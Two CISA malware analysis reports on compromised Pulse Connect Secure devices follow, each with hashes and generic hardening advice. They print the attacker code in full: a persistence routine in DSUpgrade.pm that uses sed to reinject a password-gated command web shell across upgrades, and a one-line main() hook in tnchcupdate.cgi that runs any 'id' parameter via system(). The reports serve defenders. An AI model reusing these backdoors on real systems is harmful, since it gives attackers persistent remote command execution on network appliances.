This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received one file for analysis. The file is a Pulse Secure system application which has been modified by a malicious cyber actor. The file contains a Common Gateway Interface (CGI) code designed to modify several Pulse Secure system files utilizing the SED command. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10336935-1.v1.WHITE.stix.

Submitted Files (1)

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7 (DSUpgrade.pm)

64c87520565165ac95b74d6450b3ab8379544933dd3e2f2c4dc9b03a3ec570a7

Tags

webshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a legitimate Pulse Secure PERL application with malicious CGI code patched in. The malicious CGI code is designed to modify several Pulse Secure system files utilizing the SED command.

–Begin Patched In Commented CGI Code–
##start_total
##perlstart
system(“/bin/mount -o remount,rw /dev/root /”);
system(“/bin/tar -xzf /tmp/new-pack.tgz ./installer/outer-do-install”);
my $statushh = $? % 255;
if( $statushh != 0 )
{
       system(“/bin/tar -xzf /tmp/new-pack.tgz ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/tar -xzf /tmp/new-pack.tgz ./root/home/perl/DSUpgrade.pm”);    
       system(“/bin/sed -i ‘/##start_total/,/##end_total/w K872Bu’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/DSINSTALL_CLEAN/r K872Bu’ ./root/home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/##cgistart1/,/##cgiend1/w Mj1Za’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/##cgistart2/,/##cgiend2/w 1uMfVB’ /home/perl/DSUpgrade.pm”);
       system(“/bin/sed -i ‘/^use DSUtilTable/r Mj1Za’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/^sub main/r 1uMfVB’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/usr/bin/gzip -d /tmp/new-pack.tgz”);
       system(“/bin/tar -f /tmp/new-pack.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi”);
       system(“/bin/tar -f /tmp/new-pack.tar -u ./root/home/perl/DSUpgrade.pm”);
       system(“/bin/rm -f K872Bu”);
       system(“/bin/rm -f Mj1Za”);
       system(“/bin/rm -f 1uMfVB”);    
       system(“/bin/rm -fr root”);
       system(“rm -f /tmp/new-pack.tgz”);
       system(“/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz”);                                        
}
else{
system(“/bin/sed -i ‘/##start_total/,/##end_total/w Nc3Gy.pm’ /home/perl/DSUpgrade.pm”);
system(“/bin/sed -i ‘/packdecrypt/r Nc3Gy.pm’ ./installer/outer-do-install”);
system(“/bin/sed -i ‘/##perlstart/,/##perlend/s/^/#/’ ./installer/outer-do-install”);
system(“/bin/sed -i ‘/##scriptstart/,/##scriptend/s/#//’ ./installer/outer-do-install”);
system(“/usr/bin/gzip -d /tmp/new-pack.tgz”);
system(“/bin/tar -f /tmp/new-pack.tar -u ./installer/outer-do-install”);
system(“rm -f Nc3Gy.pm”);
system(“rm -f /tmp/new-pack.tgz”);
system(“/usr/bin/gzip -c /tmp/new-pack.tar > /tmp/new-pack.tgz”);
system(“rm -fr installer”);
}

##perlend

###scriptstart
#/bin/mount -o remount,rw /dev/root /
#/bin/tar -xzf $innerarchive ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -xzf $innerarchive ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##start_total/,/##end_total/w 7CxA1p’ outer-do-install
#/bin/sed -i ‘/DSINSTALL_CLEAN/r 7CxA1p’ ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##cgistart1/,/##cgiend1/w GqTv3w’ outer-do-install
#/bin/sed -i ‘/##cgistart2/,/##cgiend2/w Vi6d8h4’ outer-do-install
#/bin/sed -i ‘/^use DSUtilTable/r GqTv3w’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/^sub main/r Vi6d8h4’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##cgistart1/,/##cgiend1/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##cgistart2/,/##cgiend2/s/#//’ ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/sed -i ‘/##perlstart/,/##perlend/s/#//’ ./root/home/perl/DSUpgrade.pm
#/bin/sed -i ‘/##scriptstart/,/##scriptend/s/^/#/’ ./root/home/perl/DSUpgrade.pm
#/usr/bin/gzip -d $innerarchive
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/webserver/htdocs/dana-na/licenseserver/licenseserverproto.cgi
#/bin/tar -f /tmp/inside-package.tar -u ./root/home/perl/DSUpgrade.pm
#/bin/rm -f 7CxA1p
#/bin/rm -f GqTv3w
#/bin/rm -f Vi6d8h4
#/bin/rm -fr root
#/usr/bin/gzip -c /tmp/inside-package.tar > $innerarchive
###scriptend

###cgistart1
#use lib ($ENV{‘DSINSTALL’} =~ /(S*)/)[0] . “/perl/lib”;
#use lib ($ENV{‘DSINSTALL’} =~ /(S*)/)[0] . “/perl/lib/MIME/Base64”;
#use Crypt::RC4;
#use MIME::Base64 ();
#
#sub parse_parameters ($) {
# my %ret;
#
# my $input = shift;
#
# foreach my $pair (split(‘&’, $input)) {
#    my ($var, $value) = split(‘=’, $pair, 2);
#    
#    if($var) {
#     $value =~ s/+/ /g ;
#     $value =~ s/%(..)/pack(‘c’,hex($1))/eg;
#
#     $ret{$var} = $value;
#    }
# }
#
# return %ret;
#}
###cgiend1

###cgistart2
#    my $enckey=’1234567′;
#    my $data=’1234567812345678′;
#        my $cipher = RC4($enckey, $data);    
#        my $encode = MIME::Base64::encode($cipher);
#    my $psalLaunch = CGI::param(“CPrimerPlus”);
#    if ($psalLaunch =~ /<REDACTED>/)
#    {
#    my ($cmd, %FORM);
#
#    $|=1;
#
#    print “Content-Type: text/htmlrn”;
#    print “rn”;
#    %FORM = parse_parameters($ENV{‘QUERY_STRING’});
#
#    if(defined $FORM{‘cmd’}) {
#     $cmd = $FORM{‘cmd’};
#    }
#
#print ‘<HTML>
#<body>
#<form action=”” method=”GET”>
#<input type=”text” name=”cmd” size=45 value=”‘ . $cmd . ‘”>
#<input type=”text” name=”CPrimerPlus” size=45 value=”<REDACTED>”>
#<input type=”submit” value=”Run”>
#</form>
#<pre>’;
#
#if(defined $FORM{‘cmd’}) {
# print “Results of ‘$cmd’ execution:nn”;
# print “-“x80;
# print “n”;
#
# print $encode;
# system $cmd;
# print “-“x80;
# print “n”;
#}
# print “</pre>”;
# exit(0);
#    }
###cgiend2
–End Patched In Commented CGI Code–

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.

This report is provided “as is” for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE–Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see http://www.cisa.gov/tlp.

Description

CISA received one file for analysis. This file is a Pulse Secure system application that has been modified. The modification effectively allows a remote operator to have command and control (C2) capabilities over a compromised Pulse Secure device. This analysis is derived from malicious files found on Pulse Connect Secure devices.

For a downloadable copy of IOCs, see: MAR-10336161-1.v1.WHITE.stix.

Submitted Files (1)

c964594ed0afaf64611514eb53f14ee5ab95e25da986dca9e28586bfc053da16 (tnchcupdate.cgi)

c964594ed0afaf64611514eb53f14ee5ab95e25da986dca9e28586bfc053da16

Tags

backdoorremote-access-trojantrojanwebshell

Details

Antivirus

No matches found.

YARA Rules

No matches found.

ssdeep Matches

No matches found.

Description

This file is a Pulse Secure Common Gateway Interface (CGI) script with a modification that allows a remote operator to execute commands on the compromised Pulse Secure device. The following modification will hook the main() function to the malicious CGI script:

–Begin Malicious Main() Hook Code–

if(CGI::param(“id”)){print “Cache-Control: no-cachen”;print “Content-type: text/htmlnn”;my $na=CGI::param(“id”);system(“$na”);}else{&main();}

–End Malicious Main() Hook Code–

This hook checks for an incoming parameter to the web application named “id”. If such a parameter is passed to the application, its corresponding data is extracted and executed on the target system using the system() function. If no “id” parameter is provided to the application this code simply executes its original main() function.

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization’s systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

• Maintain up-to-date antivirus signatures and engines.
• Keep operating system patches up-to-date.
• Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
• Restrict users’ ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
• Enforce a strong password policy and implement regular password changes.
• Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
• Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
• Disable unnecessary services on agency workstations and servers.
• Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
• Monitor users’ web browsing habits; restrict access to sites with unfavorable content.
• Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
• Scan all software downloaded from the Internet prior to executing.
• Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, “Guide to Malware Incident Prevention & Handling for Desktops and Laptops”.

CISA continuously strives to improve its products and services. You can help by answering a very short series of questions about this product at the following URL: https://us-cert.cisa.gov/forms/feedback/

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or CISA Service Desk.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA’s homepage at www.cisa.gov.